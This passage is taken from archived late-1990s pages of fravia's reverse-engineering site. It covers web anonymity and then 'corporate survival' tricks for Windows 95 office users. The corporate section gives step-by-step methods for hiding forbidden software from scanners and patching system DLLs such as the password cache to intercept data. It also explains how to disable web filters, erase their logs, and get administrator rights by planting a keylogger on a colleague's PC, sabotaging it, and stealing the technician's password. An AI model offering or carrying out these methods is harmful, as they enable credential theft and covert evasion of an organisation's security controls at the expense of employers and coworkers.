NOT remember having ever installed anything like DRACULA.EXE it really beats me what the hell that's supposed to be!
(of course -cela va sans dire- all those other games have been installed only in order to study their protection schemes... :-)

*.PWL
Located by knowing your username, or by looking up the above file. Inside here are all your passwords. These are easily decrypted (if necessary)
on any laptop with SAVE-TO-DISK features and a disk editor.

nsform??.TMP
All the data inside every Netscape form you've ever submitted, with and without SSL, when the submission failed or was cancelled.

Inbox, Outbox, Sent, Trash


A complete copy of all your incoming, outgoing, sent, and soon-to-be-deleted email. All in plain text without any encryption. I hope you're using
PGP ! (I do not, because even that will not always work, see below)

SECRING.PGP, Secring.SKR, .ASC, etc


Your secret keyrings, if you do happen to be using PGP! These are protected by your passphrase, so I hope you've got a realllllly long one, and it's
not something any average cracker will be able to pick, and you're not running any keypress macro recorders or typing sniffers, and you've not
got any Trojan Horses or Password Targeted Viruses busy siphoning off your passwords and passphrases, and you trust all the software you run
on your PC, even Micro$oft's recent "on line sniffing programs"

http://www.instinct.org/fravia/noanon.htm (4 of 12) [2/7/2001 3:00:20 PM]


noanon.htm: fravia's anonimity Lab (tricks and tips to survive a little longer on the web)

MsWord, Excel, Access, PowerPoint


All these programs, as well as windows itself, cache the filenames of the most recent documents you have been working on. This leads any
attacker directly to your recent work!

/etc/passwd
One for the Unix folk. Running a cracking probe against this file will usually reveal dozens of usernames and passwords to anyone who wants to
play with you or your users.

mm256.dat and mm2048.dat


See the specific page about these two Micro$oft's monsters that are haunting your own computer (5 megabytes of concealed activity!)

Wanna have some "fun"? Type the following inside your Netscape URL window (Location):

about:memory-cache (you'll see the memory cache)


about:image-cache (you'll see a list of the cached images...)
about:global (you'll see global history entries)
about:cache (you'll see all disk cache statistics)
about:document (you'll get a new window with info about the current document)
Fun, eh?

You are being cracked

Have a look at DejaNews there you'll quickly discover how many indications about your interests can be gained by EVERYBODY just checking
your usenet comments and mail (another good reason to use ALWAYS anonymous remailers)... this is really scary! Looks like the ideal
playground for "blackemailers". All the search engines are slowly building huge databases with your preferences, they also react immediately to
your search patterns... if you search for "tits" on Yahoo, you'll get some hideous pub about (not free) smut-services, if you search for "job", you'll
get some hideous pub about (not-free) career services... do you really believe that all these data (about you) will be ever erased?

But we can try to 'stalk' Dejanews... have a look here

How to search anonymously


http://www.instinct.org/fravia/noanon.htm (5 of 12) [2/7/2001 3:00:20 PM]
noanon.htm: fravia's anonimity Lab (tricks and tips to survive a little longer on the web)
All the main search engines KEEP TRACK of your search strings and of your activity. There are on the web (very interesting) "search strings
depots", listing the most used search strings (yes, you have guessed it, they are mostly sex-related) and you can even see 'on-line' the search
actions performed by some users (on some search engines) that do not know that you are 'watching their search' while they perform (and refine)
it... this is great fun. Another way to get at the search strings that people use (which may be very well thought little masterpiece of 'exact'
searching, useful to learn the difficult art of searching correctly) is the "klebing" method, explained elsewhere on my site.
As I have already explained in my "how to search" lessons, search engines are only ONE of the search strategies and approaches you can use. Yet
their importance cannot be underestimated (that's the reason more and more search engines are popping up like fungi nowadays) and you better
learn how to defend yourself from their tracking mechanisms. You should always try to use a dynamic IP (like compuserve or aol: your IP address
and host name should always be the more anonymous and "neutral" you can get, if possible without any 'national' tag as well... see below Lord
Caligo's lesson and my comments on how to get 'bogus' IP-dynamic host names :-)

Anyway, for the more paranoids (or the more careful) among you, here is a link to the anonymized Altavista search form
(Courtesy of fravia+... do not leave your tracks around!)

Of course no real anonymity section would be complete without an explanation of the above anonymizer...

Anonymous surfing
Crack the tricksters

You better begin to surf the Web anonymously if you want to be an "old" cracker. The anonymizer will allow you to do it whenever you feel like
it. You actually do not need to visit the anonymizer page: just remember, when you smell a rat, to precede the *exact and complete* http://...
address you want to visit, writing (even per hand in the "address" field of your browser) "http://www.anonymizer.com:8080/" before it. The spiders
will then track your visit as "niobe.c2.com", or something similar. Are there other "...:8080" URLs that allow this kind of anonymity? Yes, many
server (even if they do not realize it), just find yours if you do not trust the anonymizer (btw, :8081 works as well, only with less "concurrence" :-)

I'm sure you'll appreciate the fact that you may nowadays telnet using a fake proxy! Indeed there exist now a "Java Telnet Proxy Server" that will
allow a telnet applet connecting with any server on the Internet!
Here it is at netobjective
And you can even choose the port!... Your little cracker's heart understand what this mean as well as I do, don't you? (and even if you don't
understand now why this is QUITE important I'm sure you will in due time :-)

Back to the top of this nice page

Cookies (and crookies :-)

http://www.instinct.org/fravia/noanon.htm (6 of 12) [2/7/2001 3:00:20 PM]


noanon.htm: fravia's anonimity Lab (tricks and tips to survive a little longer on the web)
Crack the browsers

We live in a world where software (and hardware) developments are neither documented nor care to tell their user what's really going on under
the hood (and under the hoop). Still not convinced? You still believe that the society you live in cares from something else than pushing you around
along paths and patterns you are not even supposed to see? Well, if it is so, cookies may represent a very instructive example for you.
The Jar for your cookies
Use Netscape, like all sensible reversers do, DO NOT USE MS-Explorer: Micro$oft's Trojan Web_horse does not allow you to see its own traces,
it's terribly slow in all its version, it is even more bugged than Netscape's Navigator (how they could pull even more bugs than Netscape really
beats me :-) and, globally, Micro$oft's products are only good for lamers and people that has been brain-washed by frills and advertising, as you'll
learn perusing the material inside +HCU's project 9, the "Micro$oft bashing" project.
So use your good, relatively old and relatively stable Navigator version 3, that you may merrily reverse (in order to use its hidden functions to your
advantage) using the material inside +HCU's project 5 that deals with Netscape cracking (and the many 'surprises' that are hidden inside the
browsers you are using.
OK, start your "cookies discovery" trip! You'll quickly see how very simple cookies (and there are much more nasty things around, thank
Javascript) can lay some eggs inside your harddisk (inside your "cookies.txt" netscape file).
Cookies -together with Javascript programs and Java applets- are the *FUTURE* of reverse engineering.
So study them. Here is the coveted entrance to my cookies (and robots) pages

__
WARNING! Some of the cookies and of the secret robots pages are MICROSOFT EXPLORER HOSTILE
You may of course use Netscape, if you want (Best version is version 3 NOT version 4), but if you want to browse with a fast, complete and agile application (LESS than one million
bytes! MUCH more fast and MUCH more configurable than the overbloated duo), you better download Opera right away... you'll never go back to the big Browsersaurii!
Anyway I'm warning you: don't use Micro$oft's puke on my site!
(Watch it! Some pages just "play" hostility, some are seriously hostile, so: don't complain you have not been warned! :-)

Click on this to see three simple anti Micro$oft Javascript applets

BTW, you may like to know already now which kind of cookie my pages will plant inside your computer, don't worry, it's an harmless little thing
and looks like this (you may check later):
/fravia FALSE 872928000 fravia_cookie_noanon_page 1

Ah Ah! Die cookie die!


As you (should) already know, the best way to eliminate once for all any cookies planting possibility is to create a directory cookies.txt inside
http://www.instinct.org/fravia/noanon.htm (7 of 12) [2/7/2001 3:00:20 PM]
noanon.htm: fravia's anonimity Lab (tricks and tips to survive a little longer on the web)
Netscape's directory (where the file cookies.txt originally is). This directory will get a GREATER priority than the targeted file, and all cookies
will be therefore sent to dev null. Ah Ah! Die cookie die! Once you have created this new cookies.txt directory you may quietly reset "Options"/
"Network preferences"/"protocols"/"show an alert before accepting a cookie" to NO, in fact the sites that you will visit will "believe" that they
planted their silent cookies in your hardisk, and let you through without delay, yet you will know that no cookie whatsoever has been planted. Ah
Ah! Die cookie die!

Let's find out who


Crack the enemies

Internet Address finder


Stalker page

You may want to have a look at my counter measures page or, more directly, at my enemy tracking page, or, for some other funny tricks to my
corporate survival tricks page in order to grasp even better some useful techniques and approaches, yet you'll find tricks all over my site, for
instance on the links page, and of course on the search engines page and inside all my "how to search" lessons.

Common tricks to lure wannaby anonymous surfers


Crack the lamers

A common (in our trade) trick to lure wannaby anonymous surfers is the "fake page" trick: here is it is (courtesy of fravia)

1) set up a page which is not connected with any other page


2) put some goodies on it that the target needs badly
3) write (remailing) to the target and tell him to download the goodies
4) target downloads... he will be one of the very few(*) that your spiders will track on the "fake" page in the following days

(*) Yes, he will not be the only one... somebody else will nevertheless come and visit your "secret" page:
1) a robot i.e. an automated spider looking for pages or information, logging, for instance, from Yahoo, but could also be private (the older ones
use funny spiders, BTW) mostly these spiders are simple automated "logging in" from a remote server... and yes! There are ways to "catch" them
and "reverse engineer" the kind of info they are carring away: Master +Alistair has long ago promised a tutorial on this strange art, let's hope
he'll write it asap :-)
2) a seeker (these are the guys that always check the full directory of a URL location just in order to find hidden pages there, simplest way is to use
a /.rt command), or
http://www.instinct.org/fravia/noanon.htm (8 of 12) [2/7/2001 3:00:20 PM]
noanon.htm: fravia's anonimity Lab (tricks and tips to survive a little longer on the web)
3) the server administrator slaves.
But these few occurrences apart, you'll get a lot information about your "anonymous" target (or your enemies will, if *YOU* are the target)

The Anonymity Essays

Fravia's Anonymity Academy

Well, this new section begins with some very interesting essays by our colleague and friend LordCaligo, I hope to receive more contributions from
all the anonymity wizards among my readers... else I will start writing and adding some new essays myself... in the mean time you may also find
interesting my how to search the web lessons, where I discuss subjects like 'combing', 'klebing' and automated retrieval of information through
intelligent agents, all matters which may be quite relevant for anonymity purposes :-)

FAA: PHASE A by LordCaligo, 8 November 1997

How to create a webpage with controversial contents (FAA_001)

FAA: PHASE B by LordCaligo, 21 November 1997

How to have free access to the net by fake-accounts (FAA_002)

FAA: PHASE C by fravia+, 15 June 1997

Concealed and hidden files inside your own computer


First essay: What's behind Micro$oft's mm256.dat and mm2048.dat files? (FAA_003)

FAA: PHASE D by MML, 23 September 1997

Reversing Governmental Polices: Internet access for the masses


Get access passwords sent to you and browse anonymously (FAA_004)

FAA: PHASE E by -the_gonz, 25 November 1998

An easy way to stop the guys (from Redmond) to snoop data inside your harddisk
An hardware attempt for more safety while youre out on the web (FAA_005)

http://www.instinct.org/fravia/noanon.htm (9 of 12) [2/7/2001 3:00:20 PM]


noanon.htm: fravia's anonimity Lab (tricks and tips to survive a little longer on the web)

FAA: PHASE F by a295225(at)hotmail, 25 June 1999

Better E-Mail Anonymity


The basics of SMTP and telnet used to explain how to enhance anonymity (FAA_006)

Anonemail section

FAA: PHASE G by +Zer0, 24 September 1999

Making an anonymous mailer


Messing with data structures (FAA_007)

Anonemail section

Janus

Wanna check the nice URL below? (Discover Janus' services...)


http://www.rewebber.com/surf_encrypted/MTAGtqqMSQPXgerK+zzE4o+YXD9iiYG1YZ6BzeY30IejBq4N14oyXtN7EErAqkCNahXInIfsF8IUMytcUBP3v3GQgLyfof1tagnZK6K6LOZvhJgcrG+h2evioU2Pz59DGgk=

Some other links

How to mail anonymously:


anonema.htm

http://www.cs.berkeley.edu/~raph/remailer-list.html
How to post anonymously:
anonema.htm

http://www.sabotage.org/~don/mail2news.html
How to surf anonymously:
Anonymous web surfing

http://www.anonymizer.com/
How to publish anonymously:
How to create a webpage with controversial contents

http://www.instinct.org/fravia/noanon.htm (10 of 12) [2/7/2001 3:00:20 PM]


noanon.htm: fravia's anonimity Lab (tricks and tips to survive a little longer on the web)
http://janus.fernuni-hagen.de/welcome.html.en
How to search anonymously:
Anonymous web searching

Privacy on the web, never ending links

I will remind you of THREE useful digests related to privacy (and general
interesting reversing things :-)

* The RISKS Forum is a MODERATED digest. Its Usenet equivalent is


comp.risks. Peter Neumann of SRI International is the moderator of
this excellent and renowned Internet digest.
Read RISKS as a newsgroup (comp.risks or equivalent) if possible and
convenient for you. Alternatively, via majordomo, SEND DIRECT E-MAIL
REQUESTS to <risks-request@csl.sri.com> with one-line,
SUBSCRIBE (or UNSUBSCRIBE) [with net address if different from FROM:] or
INFO [for unabridged version of RISKS information]
The INFO file is also obtainable from
http://www.CSL.sri.com/risksinfo.html ftp://www.CSL.sri.com/pub/risks.info
ARCHIVES are available: ftp://ftp.sri.com/risks or
ftp ftp.sri.com
login anonymous
[YourNetAddress]
cd risks

* The PRIVACY Forum is run by Lauren Weinstein. It includes a digest (which


he moderates quite selectively), archive, and other features, such as
PRIVACY Forum Radio interviews. It is somewhat akin to RISKS; it spans
the full range of both technological and nontechnological privacy-related
issues (with an emphasis on the former). For information regarding the
PRIVACY Forum, please send the exact line:
information privacy
as the BODY of a message to "privacy-request@vortex.com"; you will receive
a response from an automated listserv system. To submit contributions,
send to "privacy@vortex.com".

PRIVACY Forum materials, including archive access/searching, additional


information, and all other facets, are available on the Web via:
http://www.vortex.com

* The Computer PRIVACY Digest (CPD) (formerly the Telecom Privacy digest) is
run by Leonard P. Levine. It is gatewayed to the USENET newsgroup
comp.society.privacy. It is a relatively open (i.e., less tightly moderated)
forum, and was established to provide a forum for discussion on the
effect of technology on privacy. All too often technology is way ahead of
the law and society as it presents us with new devices and applications.
Technology can enhance and detract from privacy. Submissions should go to
comp-privacy@uwm.edu and administrative requests to
comp-privacy-request@uwm.edu. (For example, vol 13, issue 031, 23 Dec
1998, has a long item on random credit-card fraud via small charges.)

http://www.instinct.org/fravia/noanon.htm (11 of 12) [2/7/2001 3:00:20 PM]


noanon.htm: fravia's anonimity Lab (tricks and tips to survive a little longer on the web)
There is clearly much potential for overlap between these digests.

Other related pages of my anonymity Lab

[corporate survival] [stalking matters] [enemy tracking]


[steganography] [What Fravia knows about you] [Tweak your browser!]
[Anonymous e-mailing] [things that happen]
Fravia's main

homepage links +ORC bots wars students' essays counter measures


bots wars antismut CGI tricks academy database tools javascript tricks
cocktails search_forms mail_fravia+
Is software reverse engineering illegal?

(c) Fravia, 1995, 1996, 1997, 1998, 1999. All rights reserved, in the European Union and elsewhere

http://www.instinct.org/fravia/noanon.htm (12 of 12) [2/7/2001 3:00:20 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

Fravia's Anonymity Academy


A Survival Survival
N strategies strategies
in a
O in a corporation
N corporation environment
Y environment updated
September
1999
You're an insignificant worm
from a sysad point of view. It is in
part true, of course. The might of

M your censors and controllers is


enormous and you are weak,
isolated and at danger... Yet you
may try to play a little your own
I tunes nevertheless.
On this page
"corporate survival" essays
T dll taming
technical basic work
psychological basic work
Y Fravia's Nofrill
Web design
'98 ~ '99 useful tricks
disable Webnannys censorships
One for "public" computers A
bag of tricks

Other related pages of my anonymity Lab


[Main Anonymity Lab] [stalking matters] [enemy tracking]
[steganography] [What Fravia knows about you] [Tweak your browser!]
[Anonymous e-mailing] [things that happen]

This is strongly geared towards Windows 95 corporate users

This section is due to a very simple constatation: users are considered, by most system administrators,
not much more than "nuisances" to their system, as if the undisturbed functioning of the system, and not
the user's wishes, should be the determinant factor (for their work and for their life).

http://www.instinct.org/fravia/corporate.htm (1 of 19) [2/7/2001 3:00:30 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

Introduction

Users are left to the compete mercy of petty and narrowminded security rules, that -far from contributing to the development of
the whole organisation- squeeze all original experimenting out of those system.
You, as a (moderately) intelligent user have only one option: try to work "undercover" for the sake of the development of
yourself and of everybody else... we'll list inside this section all possible tricks we know of that will allow you to defend a little
more your privacy (and to snoop a little about what actually the system administrators are doing... Quis custodit Custodes? We
do! :-)

Please note RULE NUMBER ONE: Never believe that you are smart. You are NOT. It is EXTREMELY more easy from a
system administrator standpoint to snoop on you than the countrary. Your attempts to snoop on your administrators from
inside their net on one of "their" computers (even if you believe it is "yours") are bound to be pretty feeble indeed. Yes, you can
do something, but you cannot do much. Don't get any feeling of false security reading the various tricks below. Don't think you
can go and "outsmart" your sysads. In fact, don't ever think that you are smart. You are NOT smart. That's rule number one.

First of all some BASIC WORK


Technical basic work
You'll have first of all to edit and save a win.bat, this will block the automated loading of Windows 95, (like pushing F8) here:

REM WIN.BAT

You may fire Winice, type winice

or start windows normally

typing win.com
This will allow you to decide if you want (or not) to start the windows bazaar and to connect on line. Keep in mind that you
can do quite a lot of things off line (in dos or windows) and that if you do (and work on your zip drive (see point 4) or on a
floppy inside your a: drive, the sysads have few ways to know what you are doing/writing/cracking. You should always check
for TSR modules anyway (see point 9), just in case, in order to kill them :-) The interrupting of the windows bazaar starting
procedure allows you also to start Winice with a winice.bat that you must edit and save as well. We are examining here the
case of people that are using, at work, an intranet connected computer, because they need a lot of help. Yet this is NOT the
best approach.
In general the best approach is to have ANOTHER computer at work (a portable, locked up in your drawers) where you keep
-encrypted- all your sensible data and tools, unfortunately not everybody has such possibilities :-(
The following tricks will, at least, ameliorate a little the situation of absolute dependancy that most users suffer on the intranet
systems of today.
The loading of Win95 is directed by the file c:\MSDOS.SYS where you'll find the following:

[Paths]

WinDir=C:\WINDOWS

WinBootDir=C:\WINDOWS

HostWinBootDrv=C

http://www.instinct.org/fravia/corporate.htm (2 of 19) [2/7/2001 3:00:30 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

[Options]

BootMulti=1

BootGUI=1

Network=1
Just change to BootGui=0 Network=0 To work on stand alone... btw, if you add under [options] Logo=0 you will not have any
more the silly Windows 95 logo, which only slows down the whole starting bazaar.

In fact one of the most peculiar things, in this windoze's dominate aera, is how useful (and powerful) simple dos batch files can
be. So if you don't know how complicate (and interesting) and powerful those simple batchfiles can be, go to some second
hand shop bookstore and buy for next to nothing an old book (89-91) about "dos batching". You'll be amazed at the POWER
that this will give you onto your supernew windoze, as some of the examples in this section attest :-)

Psychological basic work


First and foremost (yet if you found these pages it's probably too late :-) you should NEVER give the impression that you do
understand much about computers. Choose a "level" line, be like anybody else... do not be too dumb but, FOREMOST, do not
be computer smart, else they will smell a rat. You should "merge" in your environment: if something goes wrong and your
activities leave tracks, they wont so easily individuate you

ESSAYS
PHASE ONE

fantastic essay by +Yamato about hiding Windows applications, browsing on your own proxy and cracking registry settings!
PHASE TWO

Very interesting C program by Heatmizer about a Win 95 Screen Saver password decrypter that you may find pretty funny
to use at work!
PHASE THREE (12 december 1998)

Another nice essay: enbecor.htm: Sniffing the Corporate and Institutional Network by Embedded
PHASE FOUR (22 July 1999)

CHOWN! Incredible essay by [blue]: chown_bl.htm: Who owns your files? Security thorough obscurity

Some useful tricks

(1)

http://www.instinct.org/fravia/corporate.htm (3 of 19) [2/7/2001 3:00:30 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

Where should you keep the files the slave masters would not want you

to use/have on your PC?

Put all the programs you should NOT have installed on your PC inside

C:\WINDOWS or C:\WINDOWS\SYSTEM, never create subdirectories. The

total mess and confusion (which is anyway a charachteristic of the poor

OS we are compelled to use) can in this case be turned to our advantage :-)

(2)

How to defeat censorship software checking for files deemed "illegal"

by the slave masters and yet use the programs

Quite a lot of software allows the slave masters to know if you

have or if you have not in your harddisk files deemed "illegal"

by them. Change the names of the *.exe files! If necessary edit the

*.dll files too (this is slightly more complicated, since you'll

have to hexedit a little the calling programs and procedures)

Change the names of *.exe and *.dll files to non significant names like

hggq67.exe

87771ll.dll

etcetera

The censorship software used by your corporation will not be able to

fetch them this way (this idea was pilfered from +ORC's 4.2 :-)

(3) DLL taming


Modify ("tame") the *.dlls and get some "secret snoopers" for free :-)

http://www.instinct.org/fravia/corporate.htm (4 of 19) [2/7/2001 3:00:30 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

As you will probably already have seen/studied in the students' essays

section, a very useful form of reversing is "object oriented reversing".


Dynamic-link libraries modifying (dll-taming) is one of the most promising
reversing activities, as many essays of our student section attest. Modern
windoze's applications rely quite a lot onto *.dlls that are already inside
your system, and keep a very interesting interchange of parameters (and data)
with their functions. Nothing more simple (and obvious) than modifying these
*.dlls in order to redirect those data wherever you fancy. This is *.dll
taming. I won't go into too much details on the technical aspect of dll
taming. The tools and techniques you'll use are, of course, the same that
have been thoroughly explained in the student section (and on my tools

page). If you are (or will be) a reverse engineer it won't be all too
difficult, believe me.

Most of the programs and applications that the slave masters use in order
to snoop onto you or to perform their "mysterious activities" (the one that
you would like to "study"), do rely on *.dlls that are located like sitting
ducks inside your /windows and /windows/system directory (MSPWL32.DLL for
enhanced password cache security, to cite but one :-)

Well, here is one of the very few sectors where YOUR competentces should be
by far superior to the capacities of your system administrators: it's our
field: reversing!

"Take home" your target *.dlls and, working on your own machines, modify them
until they will work the way YOU want (and not the way the applications of the
system administrators expect them to :-)

You don't even need to worry much about eventual length differences between the
untamed and the tamed dll... I have never seen any application checking the
length of the *.dlls (there are much too many variants and versions of the
main dlls... windoze is a total mess, never forget it :-), yet, if you want
to go "NUMMERSICHER", don't alter their length and just patch them "inside",
using the many tricks, like "snake-patching", explained in the student section.

Once you are ready (and you have thoroughly tested them) reinsert the transformed
*.dll onto your machine, at work.

Nobody but you will know it (hopefully) yet you will now have some powerful
tools as allies in your battle! You may have redirected the output (with the
data you are interested in) to the screen or to a file (careful!) or to the
printer, you may have tsrred an activation switch, or you may keep a copy of
the tamed dll under another name inside your windows directory, and just
batch it on or off when you need it (so that most of the time the real, untamed
dll will be the one working, and your tamed one will sleep inside the directory
under another non-meaningful name until your simple dos batch "awakes" it :-)

Imagine (just imagine, of course :-) that you modify the OpenPasswordCache
function of the above mentioned mspwl.dll so that you will be notified (with
the possibilities of having a look at the parameters) every time that function
will be called... well: you are NOT using Winice or another debugger in order
to get those data, so there is no "alien" application running onto your system.

http://www.instinct.org/fravia/corporate.htm (5 of 19) [2/7/2001 3:00:30 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

Everything looks "normal" from the sysad standpoint: -"stupid user sits in
front of his stupid screen and our SuperhyperSnoopo version 4.2 checks what the
hell he is really doing, how long and how much!". Ah! Your screen gets all the
activities of their SuperhyperSnoopo version 4.2 instead! (or whatever they use...
most of the time it will be an overbloated *.dll intensive app :-)

See: you are playing at a level that most system administrators cannot even
understand (they would not dream of modifying a windows *.dll, they have
enough problems with the "normal" bugged Micro$oft's own ones :-) and you
can, if you tame wisely and if you choose wisely your target dlls, gather a
LOT of information on your system in this way.

(4)
Batch alternative on how to defeat censorship software checking for
files deemed "illegal" by the slave masters when you do not need to
use the programs

Create two batch file (inside c:\windows as well), that will change
on-the-fly, when you run it, the extension of all the executable
you should NOT have installed on your PC to *.myn and back to real:
When you are offline (or when you feel like it)

REM re3444g1.BAT
REM fuck the censors, recreate
cd c:\windows\system
ren GHHA12.myn ultima_9.exe
ren GHGG12.myn chess730.exe
ren GHHA12.myn snooplan.exe
ren GHHA12.myn bombchef.exe
REM OK, recreated names

Before being online (or going home at the evening)

REM ob3444g1.BAT
REM deceive the censors, obscure
cd c:\windows\system
ren ultima_9.exeG HHA12.myn
ren chess730.exe GHGG12.myn
ren snooplan.exe GHHA12.myn
ren bombchef.exe GHHA12.myn
REM OK, obscured names

(5)
How to install everything you want without a CD-ROM

Buy a zip drive and use the 100 Megabyte zip cartridge in order to
install whatever you like on your PC even without a CD-ROM, and in
order to save/keep/move files as you fancy without leaving much
traces behind you. The zip connects trhrough the parallel port
and its data transfer ratio is acceptable. You may even RUN programs
from there WITHOUT LEAVING ANY PHYSICAL TRACE INSIDE YOUR PC.

(6)

http://www.instinct.org/fravia/corporate.htm (6 of 19) [2/7/2001 3:00:30 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

How to download files on the web without leaving traces


on the http:// grep filelog of the slave masters

Never download from http:// sites, they would immediatly get


your traces through the log files.

Get all the files that you want through ftp-mail.

(7) Visit the site with the warez you are interested in with

your browser, but DO NOT DOWNLOAD.

2) Write down the exact name of the *.zip file you want.

3) Get it through ftpmail emailed to you (this leaves traces,

but it is selten monitored because few know that you can

freely download this way... you may eventually use the

path option to get the files emailed to your home account

or to an absent colleague whose password you happen to

have found)

GOOD FTPMAILERS:

(just send to each of them an email with the word "help" in the

subject and in the body. Keep in mind that some of them at times

simply do not work... just try again later):

MAIL SERVER MIT mail-server@rtfm.mit.edu

DEARN DE BITFTP@DEARN

PRINCETON BITFTP@PUCC (files until 17.825.792


bytes!)

BRYANT ftpmail@ftpmail.bryant.vix.com

DNA AFFRC JP ftpmail@dna.affrc.go.jp

W3MAIL GMD.DE w3mail@gmd.de (Max 5 Megabytes)

WWWMAIL CIESIN www.mail@ciesin.org

NETMOR wwwfmail@linux.netmor.com (QUERIES INSIDE FTP SITES!)

GARBO FI ftpmail@garbo.uwasa.fi

http://www.instinct.org/fravia/corporate.htm (7 of 19) [2/7/2001 3:00:30 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

GETWEB HEALTHNET getweb@usa.healthnet.org

MOGLI DE w3mail@mogli.gmd.de (the best one for images)

(8)

How to download images

I assume that there is no track on the loggings if you just save images

using the right mouse button... but you may choose to get the images

ftpmailed to you as well. See point 5 and use w3mail@mogli.gmd.de

(9)

How to get administrator rights (privileges)

Use some resident keyboard trapper on a PC of a collegue that

has NOTHING to do with you. Damage (slightly) some obvious booting

function of that PC, wait until the sysad's slaves come and repair it.

Fetch the administrator slave's password afterwards and

use it THE SAME DAY (they have most of the time rotating passwords).

A good idea is to give privileges, inside your intranet, to a WHOLE bunch

of people at the same time, try always to be a fish among many.

(A)

How to disable Webnannys censorships

Web nannys are censorship programs whose stupidity goes beyond

belief... they block anything that is deemed "dangerous" by their

http://www.instinct.org/fravia/corporate.htm (8 of 19) [2/7/2001 3:00:30 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

puritan idiotic programmers... whole geocities (for instance Athen)

have been banned "en block" because somebody used somewhere the

image of a pepper with the name "hot.gif". Few corporations are so

stupid to use this shit, but you never know... should they use these

programs, here is how to destroy them :-)

A.1. Cyber Patrol

You need a special cracking program, you'll find it

on the web: name= cypatrol.zip

A.2. Net Nanny

A.2.1) Windows 95

CTRL+ALT+DEL (Get close program menu)

Choose OCRAWARE

End Task

A.2.2) Windows 3.1/DOS

C:\

edit config.sys

type rem in front of DEVICE=C:\NN\NNDRV.SYS

A.3. Cybersitter

A.3.1) Disable totally

CD /WINDOWS

copy win.cyb win.ini

A.3.2) Block action (still logging, see 8.3.3 below)

http://www.instinct.org/fravia/corporate.htm (9 of 19) [2/7/2001 3:00:30 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

CTRL+ALT+DEL

end task Tcpwait

create c:\windows\temp_holder

move the file cywin0.opt there

restart internet applications... Cybersitter does not

block anymore

A.3.3) Remove any record from the log file

Find file cywin.alt (usually inside c:\windows)

remove read only switch

notepad cywin.alt

remove any line that begins with the word blocked

save the file

remake it read only

(B)

How to check what's going on in your system

Start using the instruments that you ALREADY HAVE inside

the huge windows conundrum (if you don't have them,

bring them from home):

C:\WINDOWS\NETSTAT.EXE netstat > letsee and then edit letssee

C:\Program Files\Common Files\Microsoft Shared\MSinfo\MSINFO32.EXE

(active modules)

C:\WINDOWS\WINIPCFG.EXE

http://www.instinct.org/fravia/corporate.htm (10 of 19) [2/7/2001 3:00:30 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

Then fetch these two files:

ps

kill

And use them to see/terminate the applications that are working

on your system... you'll find an explanation inside LordClito's "old"

essay on my student page.

(C)

First and foremost Winice is a good weapon!

Install Winice 3.2. (there is a whole project of the student section that explains

how to fetch and use this most powerful debugger. You'll find softice

everywhere on the web: search, or buy it, it's a very good tool and deserves it)

Find the correct drivers for your PC (you may download them from

Numega's site if you do not have them). No checking software in a

intranet can resist the CTRL+D shot :-)

(D)

Remove all limits that the sysads have imposed on you

Use the policy editor (you'll not find it inside your machine at work,

you'll find it HOME, on your own windows 95 cd-rom under \Admin\Apptools\Poledit

or you'll easily fetch it from the web).

Push F8 during boot choose start without register informations (therefore

start without limits) start poledit open register configuration delete

all limits

http://www.instinct.org/fravia/corporate.htm (11 of 19) [2/7/2001 3:00:30 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

IF YOU DO NOT SEE any start menu, have a look at CONFIG.SYS,

you'll find there the command

switches /n

eliminate it and restart anew.

...And if you don't see EVEN THIS, take a look at the c:\msdos.sys

again (thanks Ivan :-) and may be you'll see among:

[Options]

BootMulti=1

BootGUI=1

Network=1

etcetera

the following:

BootKeys=0

-this one causes the same shit, so you have to change it to:

Bootkeys=1

Or remove it... but this would NOT be so clever, would it?

(D)

Another trick: the SAFE MODE boot

http://www.instinct.org/fravia/corporate.htm (12 of 19) [2/7/2001 3:00:30 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

As anyone (should) know, you can boot the windows bazaar in SAFE MODE (press F8 at
start

until the windows' choose your boot menu appears).

If you do choose safe mode, you'll notice pretty interesting new possibilities, which

were disabled in the "normal" booting configuration. Among other things you'll be
able

to choose the "update information tool" and have a look at what your sysads have made

in the last months (and which *.dll you should "intercept", see point three :-)

As long as you are in safe mode you are, moreover, relatively 'safe', so experiment
around

a little and take note of everything in sight!

(E)

Blowfishes are for ever

Well, let's not forget all the advantages of a quick and reliable encryptor. I use
blowfish

advanced 97 beta 1 (see the reversing essay by Jon).

Blowfish advanced 97 by Markus Hahn hahn(at)flix(point)de is an extremely powerful

(and quick) encryptor, that will blowfish all the files you want, at work and at
home,

in a couple of seconds. You may (probably) get a beta version from Markus' page at

http://www-hze.rz.fht-esslingen.de/~tis5maha/software.html

A legitime question: should you be paranoid?

Actually no, you should not. Most of the files and data that we have on our harddisks

are perfectly legal (reversing software is not an illegal activity, you may want to

http://www.instinct.org/fravia/corporate.htm (13 of 19) [2/7/2001 3:00:30 PM]


corporat.htm: fravia's Survival strategiesin a corporation environment

read my Is reverse engineering legal? essay), and there is

no real need to encrypt anything whatsoever. Yet there are (at least) two sound
reasons

to blowfish a lot nevertheless:

1) it's great spass to have everything you do encrypted at work just to

avoid ANY administrator's sniffing. Of course, once they find all your

text files blowfished they will know that you have something to hide

(once more a good dos batch can transform all those funny secret.txt.bfa

names into something more "neutral" like Cirrus.drv :-) yet the mere fact

that they wont be able to know what you are hiding is fun enough :-)

2) it's a good PRACTICE. Once you get used to routinely blowfish your data,

you'll learn also to KEEP those data in some places (and not everywhere

inside your PC, and you'll get used to encrypt sensible data, which, in

an epoque like the one we are living in, is a very sensible thing to do

anyway.

One for "public" computers


(Libraries, Museums, Shops, etcetera :-)

BioMenace's tips, modified by fravia+

No matter what the reason is, we are always constantly trying

to get to a computer connected to Internet. One possibility is

to get Internet connection from Public computers. There are a

couple of good advantages.

1. You could do any kind of activity in a more obscure way (no great

worry of trace-back from uninvited sources, high degree of anonymity)

2. Youll enjoy a free Internet service (and the Web should be free, nicht wahr?)

http://www.instinct.org/fravia/corporate.htm (14 of 19) [2/7/2001 3:00:30 PM]


